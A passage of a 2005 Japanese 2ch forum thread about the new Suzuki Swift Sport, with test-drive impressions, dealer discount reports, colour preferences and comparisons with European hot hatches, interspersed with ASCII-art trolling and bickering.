545 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 15:39:31 ID:TCMVy4tM0

ｽｲｽﾎﾟにｵｰﾗってw

546 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 15:44:46 ID:vm/ynjTV0

レギュラー仕様のD17Aでさえ
1668ccで130馬力　15.8kgm
燃費も遥かにいいし…
ホンダにエンジン供給してもらえｗ

547 名前：535：2005/09/23(金) 15:50:39 ID:ixNCxiPi0

>>541
ご察しのとおりスイスポAT車でした。
ただ、つながりは悪くなかったですよ。
一定の踏力で自然にグイグイ加速していくカンジでした。
でも、あまり踏んでないから判らなかったのもあるかも…

548 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 16:10:31 ID:SVzAwE/X0

ｽﾚ違いっぽいがｽﾏｿ。再来年からｽｽﾞｰｷさんWRCに参戦って！
S1600どーすんのよ？　ま、まさか2000ター（ｒｙ

549 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 16:19:53 ID:QilGJyvY0

>>548
ベストカーがだったかな？
エリオの後継で参戦って掲載してたよ
いかさま雑誌だから信じないように

550 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 16:29:20 ID:ay4khcfB0

ATはATでCVTでもない　4　A　T　だからねぇ
うちの嫁じゃなくても軽自動車か一番安いグレード？って言われるよ

551 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 16:29:29 ID:UnrtsG4H0

>>548
そのころのWRCのレギュレーションは？

552 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 16:33:21 ID:RwxgaXE/0

>>550
　>ATはATで
　ああ、確かにそうだな。至極当たり前。AT以外のなんだというのか。

553 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 17:02:55 ID:ea3zSjeh0

軽ベースのスイフトスポーツに乗ってる。先月免許取得してスズキの販売店に行って見た瞬間に即決した。
カッコイイ、マジで。そして速い。アクセルを踏むと走り出す、マジで。ちょっと
感動。ATだから操作も簡単で良い。98馬力しか無いと言わ
れてるけど個人的には速いと思う。シビックtype-Rと比べればそりゃちょっとは違うかもし
れないけど、そんなに大差はないって店員も言ってたし、それは間違いないと思う。
嘘かと思われるかも知れないけど東関東自動車道で１４０キロ位でマジでS2000を
抜いた。つまりはS2000ですら軽ベースのスイスポには勝てないと言うわけで、それだけでも個
人的には大満足です。

554 名前：sage：2005/09/23(金) 17:14:24 ID:1rYQF0r70

軽ベーススイスポＡＴあったんだね！
とつられてみる。アフォ

555 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 17:16:00 ID:1RkPTC1mO

ただのコピペだろ

556 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 17:30:32 ID:8xOLkxjv0

今更こんなつまらんGTOネタに引っ掛かるなよ。

557 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 17:57:33 ID:eMXJ7Fwn0

>>549
今スズキがＷＲＣに参戦するならば、条件に合うクルマがエリオしかない。
しかも、エリオは来年２月だかにフルモデルチェンジをする。

というような事が書いてあったな。
あのベストカーの記事とはいえ、説得力満点だと思うが。

>>551
2000しーしーNAのクラスが新設されるらしいね（これもベストカーの記事だｗ）

558 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 18:01:35 ID:Iq6CgC7p0

>>553ID:ea3zSjeh0

↑こいつ昨日からハードゲイＨＧＡＡで荒らしてる奴
スイスポを軽ベースと書いて、それを間違いと指摘されてから
逆ギレして開き直って荒らしまくってる中学生。
今度は、使い古されてるとは知らないでＧＴＯネタを疲労して突っこまれた。
悔しくて再びＨＧＡＡで荒らしまくるかなｗ。

559 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 18:09:48 ID:ea3zSjeh0

>>558
i｀ヽ　　　　　　　　　　　　　 　　　 　 　 　 ,r‐'ァ
　｀ヽea3zSjeh0さぁんHGはただ軽ベースのスイスポについて
　　　　　みんなで楽しく語らいたいだけなんですよー　フォーーー　　　　　　
　　 ヽ ヽ　　　　　 　 , -‐--､ 　　　　　 　 /　/
　　 　ヽ　＼　　　 　 I:：：：：：:I_ 　　　 　_ /　/
　　　　 ヽ　 ヽ　　　 i,(;;;ﾉI､;;;)l　　　 ,,／　 , '
　　　　 　ヽ 　` ｰ ､.,,ゝ´ヮ｀,ﾉｭ_, - '　　 r'
　　　　　 　 ` ､_ ／：:: `山'::::：　　 　／
　　 　　　　　　ヽ：::::::::::|:::::::："",r‐'
　　　　　　　　　 〉::::::::|::::::::::¨/
フォ────　/;;;;;;;/;;;;;;;;;;/ ─────────！！！！！
　　　　　　　　/;;;;;;;/:::::::::::《
　　　　　((　<;;;;;;;《:::::::::::::ヽ 　))
　　　　　 ／ 　 ヽI,rつ""^~ヽ
　　　　 /　　　,／　ヽ　　　　ヽ

560 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 18:10:18 ID:pFYjIXjq0

構うな。放置が一番です。

561 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 18:11:03 ID:eMXJ7Fwn0

ハードゲイHGって・・・ハードゲイMGとかPGとかいそうな感じだな。

レイザーラモンHGって認識してあげて下さい・・・

562 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 18:21:48 ID:MrmIAFZI0

なんか嵐と嵐に反応するレスだけでスレが進んでいく…
いい加減スルーするなりしとこうや
って言っても私は素人だから実のある話はできないけど

563 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 18:23:22 ID:8g6PWSjp0

あした試乗に行ってくる。
聞いたところ一日3人ほど試乗に来るらしい。

564 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 18:23:22 ID:0A5EAfOs0

ふと思ったんだけど今回のこのスポーツモデルにはＬＳＤの設定は無いのかな
スポーツを謳っているんだから、せめてトルセンくらい標準装備にして欲しかったよ

565 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 18:29:18 ID:KdJIHgr60

HGはアクセラ1.5乗りのような希ガス

566 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 18:37:19 ID:swY98x6C0

そっちの方向では仕上げてないんだよナ。
ＬＳＤならスズキスポーツから出るでしょ。
アシもセッティング変えないといけないし。
現状ではＬＳＤなしでも曲がる様にセットしてある筈だから、
ＯＰでないのは当然かも。

567 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 19:14:12 ID:atGBP2SU0

今日Dに行ったら、展示車置いてあった。
写真で見るより、ガキっぽくなくて好印象。
ただ、Dの対応。アレは何だ。
漏れが店入って興味津々でスイスポの展示車みてるのに
全く声をかけてこないで、ちょっと離れてじっと見てた。
売る気ないのか？
結局一言も交わさず店をでた。
もしスイスポ買うとしてもこの店じゃ買わないなと、心に誓った。

568 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 19:17:15 ID:F0ch5EWz0

つーか、とっととAAの一部を無視リストに入れろよ

>558
全角の分際で人のこと笑えねーだろーよ

569 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 19:24:52 ID:y4Qgn38s0

>>567
それは
その店の方針で、店員からは話しかけない、と言うのじゃないかな。
五月蠅くつきまとわれるより、その方が好きだよ。
用があったら、話かければ良いだけ。

570 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 19:25:41 ID:dPWHWHVx0

>全く声をかけてこないで、ちょっと離れてじっと見てた。
>売る気ないのか？

声をかければ、付きまとわれてウザイと言われ
自由にさせてやれば、売る気ないと言われる

商売って難しいなｗ

571 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 19:27:45 ID:y4Qgn38s0

ところで、ボディの防錆対策は他メーカーと比べてどうよ。
フロンテクーペのフェンダーの錆びには参ったからな。

572 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 19:34:46 ID:Iq6CgC7p0

≫568

流れを嫁（ｗ

573 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 19:38:22 ID:+1SgQsTt0

明日契約予定♪
５万しか引いてくれない、足元見られた　orz

574 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 20:13:43 ID:ea3zSjeh0

>>558
i｀ヽ　　　　　　　　　　　　　 　　　 　 　 　 ,r‐'ァ
　｀ヽ軽ベースの車が五万匹　フォーーー　　　　　　
　　 ヽ ヽ　　　　　 　 , -‐--､ 　　　　　 　 /　/
　　 　ヽ　＼　　　 　 I:：：：：：:I_ 　　　 　_ /　/
　　　　 ヽ　 ヽ　　　 i,(;;;ﾉI､;;;)l　　　 ,,／　 , '
　　　　 　ヽ 　` ｰ ､.,,ゝ´ヮ｀,ﾉｭ_, - '　　 r'
　　　　　 　 ` ､_ ／：:: `山'::::：　　 　／
　　 　　　　　　ヽ：::::::::::|:::::::："",r‐'
　　　　　　　　　 〉::::::::|::::::::::¨/
フォ────　/;;;;;;;/;;;;;;;;;;/ ─────────！！！！！
　　　　　　　　/;;;;;;;/:::::::::::《
　　　　　((　<;;;;;;;《:::::::::::::ヽ 　))
　　　　　 ／ 　 ヽI,rつ""^~ヽ
　　　　 /　　　,／　ヽ　　　　ヽ

575 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 20:15:32 ID:ea3zSjeh0

>>571
>>558
i｀ヽ　　　　　　　　　　　　　 　　　 　 　 　 ,r‐'ァ
　｀ヽ軽ベースですから一年で下回り錆さぴ　フォーーー　　　　　　
　　 ヽ ヽ　　　　　 　 , -‐--､ 　　　　　 　 /　/
　　 　ヽ　＼　　　 　 I:：：：：：:I_ 　　　 　_ /　/
　　　　 ヽ　 ヽ　　　 i,(;;;ﾉI､;;;)l　　　 ,,／　 , '
　　　　 　ヽ 　` ｰ ､.,,ゝ´ヮ｀,ﾉｭ_, - '　　 r'
　　　　　 　 ` ､_ ／：:: `山'::::：　　 　／
　　 　　　　　　ヽ：::::::::::|:::::::："",r‐'
　　　　　　　　　 〉::::::::|::::::::::¨/
フォ────　/;;;;;;;/;;;;;;;;;;/ ─────────！！！！！
　　　　　　　　/;;;;;;;/:::::::::::《
　　　　　((　<;;;;;;;《:::::::::::::ヽ 　))
　　　　　 ／ 　 ヽI,rつ""^~ヽ
　　　　 /　　　,／　ヽ　　　　ヽ

576 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 20:16:51 ID:jqk0Qp8g0

もっと高い車に粘着すればいいのに

577 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 20:17:16 ID:ea3zSjeh0

>>567
i｀ヽ　あなたを　　　　　　　　　　　　 　　　 　 　 　 ,r‐'ァ
　｀ヽ軽ベースも買えない貧乏人とおもわれたんですねぇー　フォーーー　　　　　　
　　 ヽ ヽ　　　　　 　 , -‐--､ 　　　　　 　 /　/
　　 　ヽ　＼　　　 　 I:：：：：：:I_ 　　　 　_ /　/
　　　　 ヽ　 ヽ　　　 i,(;;;ﾉI､;;;)l　　　 ,,／　 , '
　　　　 　ヽ 　` ｰ ､.,,ゝ´ヮ｀,ﾉｭ_, - '　　 r'
　　　　　 　 ` ､_ ／：:: `山'::::：　　 　／
　　 　　　　　　ヽ：::::::::::|:::::::："",r‐'
　　　　　　　　　 〉::::::::|::::::::::¨/
フォ────　/;;;;;;;/;;;;;;;;;;/ ─────────！！！！！
　　　　　　　　/;;;;;;;/:::::::::::《
　　　　　((　<;;;;;;;《:::::::::::::ヽ 　))
　　　　　 ／ 　 ヽI,rつ""^~ヽ
　　　　 /　　　,／　ヽ　　　　ヽ

578 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 20:17:26 ID:9l4EoOkE0

>>573
新型だから強気だよね。ウチの地域でも車両本体５万引き。スズキ自販だけでなく、
スズキを扱ってる業販店にも行ったけどほぼ同じ値引き。

業販店はスイスポの見積もり初めてだったらしく「ディーラーさんより値引きイイよね。」
と聞いたら、「業販価格で仕入れますからディーラーさんよりもちろん値引きしますよ。」
と答えてくれた。
見積もりを依頼し、次の日見積もりを見せてもらったら急に歯切れが悪くなり
「最大で６万ちょっと。７万は厳しいです」と言われた。
聞きはしなかったけど、大分、スズキ自販の締め付けが厳しい様子でした。
業販価格は定価の３割引くらいで仕入れてると予想してるけど、どうなんでしょうね。
値引きが欲しかったら、オプション品を多く付けてそこから値引いてもらうしかないみたい。

ま、コンパクトカーなんで元々値引きは期待できないようだから
欲しいときに買うのが一番幸せだね。

579 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 20:19:14 ID:ea3zSjeh0

>>560

i｀ヽ　　　　　　　　　　　　　 　　　 　 　 　 ,r‐'ァ
　｀ヽ放置プレー　フォーーー　　　　　　
　　 ヽ ヽ　　　　　 　 , -‐--､ 　　　　　 　 /　/
　　 　ヽ　＼　　　 　 I:：：：：：:I_ 　　　 　_ /　/
　　　　 ヽ　 ヽ　　　 i,(;;;ﾉI､;;;)l　　　 ,,／　 , '
　　　　 　ヽ 　` ｰ ､.,,ゝ´ヮ｀,ﾉｭ_, - '　　 r'
　　　　　 　 ` ､_ ／：:: `山'::::：　　 　／
　　 　　　　　　ヽ：::::::::::|:::::::："",r‐'
　　　　　　　　　 〉::::::::|::::::::::¨/
フォ────　/;;;;;;;/;;;;;;;;;;/ ─────────！！！！！
　　　　　　　　/;;;;;;;/:::::::::::《
　　　　　((　<;;;;;;;《:::::::::::::ヽ 　))
　　　　　 ／ 　 ヽI,rつ""^~ヽ
　　　　 /　　　,／　ヽ　　　　ヽ

580 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 20:20:40 ID:iZBEuHgs0

今日１２月に出るオプション装着車予約してきますた。
ブルーの5MT。

581 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 20:22:59 ID:u/MQD/lP0

test

582 名前：573：2005/09/23(金) 20:26:51 ID:+1SgQsTt0

>578
10/28発売の初物買いだから仕方が無いよね。
見ずてんで人柱確定だけど、ｴﾝｼﾞﾝもｼｬｼｰも裏切らないと思う。

スイフトスーパー1600の1/43ダイキャストモデル貰えるからヨシとするよ。(　´∀｀)

583 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 20:31:53 ID:xIrZiiMFO

ザッカーの記事ベタ誉めだな、欲しくなるじゃねーか。ただ赤内装は子供っぽいだと。

584 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 20:40:59 ID:CWtV5AdG0

>>583
大体雑誌は良く書くかと・・・
一種の企業広告みたいなもんです

585 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 20:42:09 ID:jvvVW9Af0

スイスポ試乗してきたので自分なりにインプレッションを。
馬が125匹しかいないって言われまくってるけど街乗りでキビキビ走るなら全然問題なし。

吹け上がりはそれほどではないけど、低〜中回転のトルク感も悪くなかったし
サーキットとか峠行かないんだったら十分面白いかも。
峠でも気持ちよく走りたい位ならいいと思われ。電子制御スロットルも気にはならず。

ブレーキは前レスにもあったように踏み出しが効きすぎてカックンになりやすいけど
慣れればオッケー。効きに関してもこの車重だったら純正パッドでも十分っぽい。
車体剛性は結構ありそう。いい感じで足が動いてる感覚がありました。
ただハンドルはチト軽い。

4ATでも楽しめたけど、5MTだとどうなるのか気になる。
11月くらいに試乗車が入るらしいのでそのとき乗ってみてよけりゃ買いそう。

ちなみにインテR乗りです。

586 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 20:43:41 ID:+1SgQsTt0

>585
なぜインテＲから乗り換えを？

587 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 20:49:49 ID:9wYli5OY0

＞ちなみにインテR乗りです。

これっていらないよね。
インテＲ糊も興味を示す新型スイフトスポーツってのを工作員がアピール
してるようにしか見えなくなってしまう。

588 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 20:51:37 ID:y4Qgn38s0

>585
> ただハンドルはチト軽い。
ハンドルの戻り方はどうでした。
反力感じますか？

589 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 20:54:14 ID:ea3zSjeh0

>>587

i｀ヽ　　　　　　　　　　　　　 　　　 　 　 　 ,r‐'ァ
　｀ヽはーい　あなたが仕事熱心なススキの社員なのはばればれですよー
　　　　　　
　　 ヽ ヽ　　　　　 　 , -‐--､ 　　　　　 　 /　/
　　 　ヽ　＼　　　 　 I:：：：：：:I_ 　　　 　_ /　/
　　　　 ヽ　 ヽ　　　 i,(;;;ﾉI､;;;)l　　　 ,,／　 , '
　　　　 　ヽ 　` ｰ ､.,,ゝ´ヮ｀,ﾉｭ_, - '　　 r'
　　　　　 　 ` ､_ ／：:: `山'::::：　　 　／
　　 　　　　　　ヽ：::::::::::|:::::::："",r‐'
　　　　　　　　　 〉::::::::|::::::::::¨/
フォ────　/;;;;;;;/;;;;;;;;;;/ ─────────！！！！！
　　　　　　　　/;;;;;;;/:::::::::::《
　　　　　((　<;;;;;;;《:::::::::::::ヽ 　))
　　　　　 ／ 　 ヽI,rつ""^~ヽ
　　　　 /　　　,／　ヽ　　　　ヽ

590 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 20:54:27 ID:qOwyK6/k0

試乗だけのつもりがMTを予約してきました。
>>547
　>一定の踏力で自然にグイグイ加速していくカンジでした。
同感ですね。
私は営業マンのお許しがでたので
営業＆友人を乗せて国道で０〜ゆわｷﾛまでアクセルベタ踏みさせてもらいました。
おおまかですが、約５００ｍで目標速度へ到達していたと思います。
他に２人乗せているので参考にならないかもしれませんが・・・
本当は加速感よりもコーナーのフィーリングを試したかったのですが却下されたので
どうでもいいことかもしれないけど気づいた点をいくつか・・・

�@Ａピラーの黒いところはやっぱり黒のシールみたいです。
�Aフロント両下のガンメタ部はボディ色の部分との間に継ぎ目があり下から別にビス止めされていたので取り外し可？
　　（他の固定部や内側がどうなっているかはわかりませんが、塗装するつもりの人は楽になるかも）
�Bリアの黒い部分はメッシュ（貫通）かと思っていたのですが
　　フロントフォグの周りと同じように表面がメッシュ状になってるだけで奥はふさがっていました。

>>573
　Ｄラーによって限界が違うでしょうけどもうちょっと粘ってみては？
　今の時期だとスズキからＤラーに援助金があるらしく５〜１０マソ位の値引きは余裕そうでしたけど・・・
　しかも、上司と相談してきますと行って帰ってきたらリモート格納ミラーとオートドアロックを
　サービスしてくれましたよ
　
　　

591 名前：573：2005/09/23(金) 20:57:12 ID:+1SgQsTt0

>590
ども！
明日ハンコ押す前に一粘りしてみまつ。(´∀｀）

592 名前：585：2005/09/23(金) 21:29:56 ID:jvvVW9Af0

>>587
＞インテＲ糊も興味を示す新型スイフトスポーツってのを工作員がアピール
ありゃ、そう取られちゃいましたか。
スズキの関係者ではないですよ。
インテRに乗ってるのでそれを基準にしました、的な意味合いを込めたんですが。
すみません、言葉足らずでした。

>>586
理由としては
・インテRに乗るのが最近少々お疲れ気味（そこそこいじっちゃってるので）
・車にガタがきだした（ミッション・ボディ）＆もうじき車検
・スイフトのスタイルが好き
といったところでしょうか。
ガリガリ走るのはもういいんですが、街中キビキビ＆たまにワインディングを気持ちよくの
コンパクトカーが欲しくなってきたので。

>>588
そんなに反力は感じなかったです。
夏タイヤ→スタッドレスタイヤにした感じですかね。

593 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 21:35:50 ID:y4Qgn38s0

>>592
反力があまり無いんじゃ、
コーナリングの楽しみ極小だろね。

594 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 21:39:42 ID:qOwyK6/k0

>>588
　>ハンドルの戻り方はどうでした。
　　反力感じますか？

人によって感じ方が違うので参考として考えてもらった方がいいと思いますが
このクラスの車なら普通のステアリングの重さと反力だと思いますよ
５８５氏はインテRからすれば軽く感じたのではないのでしょうか？
操作性は特に気になるような感じはなかったですよ
ただ、シートの位置を最低にしてもまだ高い感じがして少し違和感がありましたけど
シート自体のホールドはノーマルのシートにしてはいい方かと

595 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 21:42:49 ID:Iq6CgC7p0

インプレ情報も増えてなかなかよさげです。

>>590格納ミラーとオートドアロックを
　サービスしてくれましたよ

これだけで4万のサービスですね。
凄い

596 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 21:43:41 ID:3OsfomXz0

タイプR系は街中じゃ楽しめないからな
俺はタイプR→X4→旧型スイスポと乗換えたけど街乗り〜流しレベルでの気持ち良さはスイスポが一番だね

597 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 21:44:16 ID:Gk2tm7p70

新スポ全部で6種類のボディカラーが設定されてるけどどれが一番いいと思う？
赤なんて結構よさそうだけどなんかゴルフGTIを連想してしまう・・・orz

598 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 21:47:17 ID:jqk0Qp8g0

赤か白か青の３択だな、次点でグレー
他はアリエナス

599 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 21:56:31 ID:Iq6CgC7p0

カタログやネットでは、殆ど出てないが
黒もいいよ
一見の勝ち有り

600 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 21:57:50 ID:TsvrVs3t0

チャンピオンイエローはダメ？

601 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 22:04:55 ID:+1SgQsTt0

俺は青予定。

青好きでEG6もデミスポも青だったからね。
今乗ってる初代ｽｲｽﾎﾟの黄色もイイけど行動がモロバレだからね。

602 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 22:05:51 ID:swY98x6C0

インテのＳみたいな味付けなのかな？
あえてＲにしなかった所に開発者の拘りが感じられる。
日本専用モデルにしなかった事も幸いしたのかな。
早く、フィエスタＳＴとの比較テスト希望する。

603 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 22:08:32 ID:FafR4TiD0

アンチスレなのか？

604 名前：597：2005/09/23(金) 22:10:47 ID:Gk2tm7p70

漏れは白か赤かなぁ。
黄色と青は目立ちすぎるような。。
黒はWAXかけた時は感動物だけどちょっとした傷が目立つよね。。

でも白は2ﾏｿ高くなるんだよね・・・orz

605 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 22:10:52 ID:SLwHcurI0

>>597
チューニングカーのベース車的なパールホワイトが好きですおれ。

606 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 22:11:30 ID:dYD4n5Pp0

出たばかりの新車で５万引き限界は普通じゃない？
っと買えもしない漏れが煽ってみるテスト

607 名前：597：2005/09/23(金) 22:15:45 ID:Gk2tm7p70

>>605
白いいですよね
私的には先代のスポも白が一番似合ってた希ガス
ちょっとした傷でも目立たないし

608 名前：585：2005/09/23(金) 22:15:53 ID:jvvVW9Af0

>>594
フォローありがとうございます。
そんな感じで取っていただければと思います。

確かにもう少しステアリングが重めのほうがいいかも。

流れ無視ｽﾏｿ

609 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 22:16:00 ID:gkFz1k0O0

インパネ周りを、もう少しノーマルスイフトと差別化して欲しかったなあ。

610 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 22:18:51 ID:u9OY04YG0

値引き８万円でした。
来週契約してきます♪
MTのイエロー〜

611 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 22:24:06 ID:swY98x6C0

別にアンチのつもりはないが・・・。
ヨーロッパのホットハッチと比較してどれだけのモノができたのか知りたいだけ。
比較対象はフォード・フィエスタＳＴ、ルノー・ルーテシアＲＳ、ＭＩＮＩ・クーパー、
シトロエンＣ２辺りかな。絶対性能じゃなくてね。

612 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 22:27:03 ID:+zAfgYWD0

スイスポ見に行ったけど・・・物はいいが、セールスの対応が最悪。

613 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 22:30:51 ID:yCUk/vLY0

値段を見ろよ。ソコまでの開発費も志もないだろうさ。
ベネフィットはコストに依るんだよ。

でも俺はスイスポのEG開発した奴、アシをいじった奴の
顔が見えるような気がして憎めない。それどころか好きだ。
制限がありまくる中で、どこまで自分を出せるか、がんばり通せるか。
スイフト開発者も含めよぅがんばっていると思う。

自分も欧州ホットハッチに乗っているが、元のスイフト自体の
出来がそれほど良いわけではないよ。道路からのインフォメーションが
日本車的に希薄なのは痛い。　でもあの価格だぜ。　良いタイヤ
履かせて、アライメント取れば充分楽しめる。

614 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 22:31:33 ID:eMXJ7Fwn0

10Rならライムグリーン、R1なら北米ストロボ、R1000なら白水色青、900RRならトリコ
を選びたい（願望）な俺としてはやはり

スイスポはイエローだな。

615 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 22:32:47 ID:N1xI95br0

>>609
　同意。ランエボワゴンもだけど、あまりにもノーマルと代わり映えしないのは萎える。

616 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 22:37:40 ID:+1SgQsTt0

値段考えると仕方が無いんじゃ〜。
デミスポ（元糊）と値段変わらんが、性能は比べるのも愚かしいレベルだじょ。

617 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 22:38:15 ID:3dl5n1mU0

センターに蛸を持ってくるだけで、かなり感じが変わるのにね。

618 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 22:41:35 ID:D0+YcurF0

>>612
根拠は無いけどスズキのディーラーって、今までの客って
顔見知りのおじちゃんおばちゃん連中ばっかだったんだと思う。
軽トラやらバンやら…。

それが突然スイフトみたいな車出して、雑誌とかの効果で走りに関心ある客が
急に来だしたもんだから、そういう対応が全く出来てないんじゃ。

自分もスイフト買うまでスズキのディーラーなんて見向きもしなかったし。
今はちょこちょこ行ってる。最近ようやく顔覚えてもらったかなって感じ。

619 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 22:42:07 ID:e4S9q5kd0

>>611
Clio RSはホットハッチ
スイスポはなんちゃってリアルスポーツ
比較するなんて愚の骨頂

620 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 22:49:19 ID:V7fxm/jW0

昨日、値引き２８ﾏｿで契約しました。
従販だけど。納車が楽しみです。

621 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 22:52:20 ID:Iq6CgC7p0

従販で２８万引けると言う事は、２８万でも利益があると言う事だね。
とりあえず２０万匹を目指そう

622 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 23:01:08 ID:9nazJyEe0

スイスポも可哀想やね。
国産車乗りには数値でとやかく言われ、
欧州車乗りには雰囲気でとやかく言われてしまうのだから。

623 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 23:05:34 ID:/MD/feO30

スイフトスポーツなんかよりルポGTIの方がよっぽど運転して楽しかった。
おまえら安物買いの銭失いにならないように

624 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 23:10:41 ID:UxsNKwVy0

>>619
この車と走行性能で比較するなら
プジョー206XSぐらいが丁度いいんじゃないかな？

625 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 23:18:19 ID:Iq6CgC7p0

>>623

そう言いながらここに来てるという事は
スイスポが気になって仕方がない証拠だね（ｗ
ルポＧＴＩも良い車だが5000以上回しても意味がない車だからな〜
なのに６MT
形に拘るところはトヨタ流なんだな

626 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 23:21:36 ID:x6VyQWgo0

元スズキディーラーマンです。
業販で３割引？　絶対ありえないね。正規アリーナ店でも仕入れは
そんなにないよ。　　業販仕入れでいいとこ１５くらいでしょ。　下取り対策と
呼ばれるメーカー対策が､５万くらい。　ちなみに時効だと思うけど､
初代スイフトスポーツは、正規アリーナ店の仕入れで２１万だったよ。
　>>621
　28万が､ほんとうならそれがきっと原価です。28万でも利益がある
ということではありません。自分が勤務してたときも、車両代は原価で
登録料等は､顧客と同じでした.

627 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 23:24:39 ID:/MD/feO30

>>625
良いスポーティ車ってのはトルクで走るからね。
ボディ剛性や足回りの完成度はスイフトスポーツなんて相手にならないと思われ。
あと見た目とブランドもね（笑）

628 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 23:27:31 ID:/MD/feO30

>>ルポＧＴＩも良い車だが5000以上回しても意味がない車だからな〜
>>なのに６MT

６MTだったら全段クロスしてるとでも思ってんだろうか（笑）
ここまで音痴だと笑えるよ

629 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 23:27:39 ID:q6kSDL8u0

>>627
じゃあ黙ってそっち乗ってればいいだろ
何でわざわざこっちに来てまでそんな吠えてるの？ｗ

630 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 23:31:01 ID:/MD/feO30

>>629
おまえみたいな馬鹿がすぐ釣られちゃうから楽しくて（笑）

631 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 23:31:05 ID:VeQC+1Cs0

>>629
外車を餌に釣りをしてる奴の相手をするなと。

お前ら生粋の糞2chﾈﾗｰだな。

632 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 23:31:23 ID:gkFz1k0O0

>>625
ルポGTIの回転の「頭打ち感」はすごいからなｗ
初めて乗ったとき、どっかおかしいのかと思った。
しかし、だからこその6MTなのでは？

633 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 23:34:15 ID:UxsNKwVy0

>>629
>相手にならないと思われ
なんて書いてるところをみると、妄想さんじゃないですかね
相手にしない方がいいでしょう

634 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 23:35:04 ID:/MD/feO30

>>632
無駄に回って全然スピード出てないスイフトよりマシですね（笑）

635 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 23:36:11 ID:NnfE19FN0

ルポGTIが勝ってるのブランド力だけでしょ？
乗ってそう感じたけど。

636 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 23:37:12 ID:q6kSDL8u0

釣りのつもりで遠吠えされてもさっぱり釣られた気がしないｗ

637 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 23:38:18 ID:+1SgQsTt0

みんなモチツケ
70マンも値段違うもの比べてもしょうがないだろ〜。
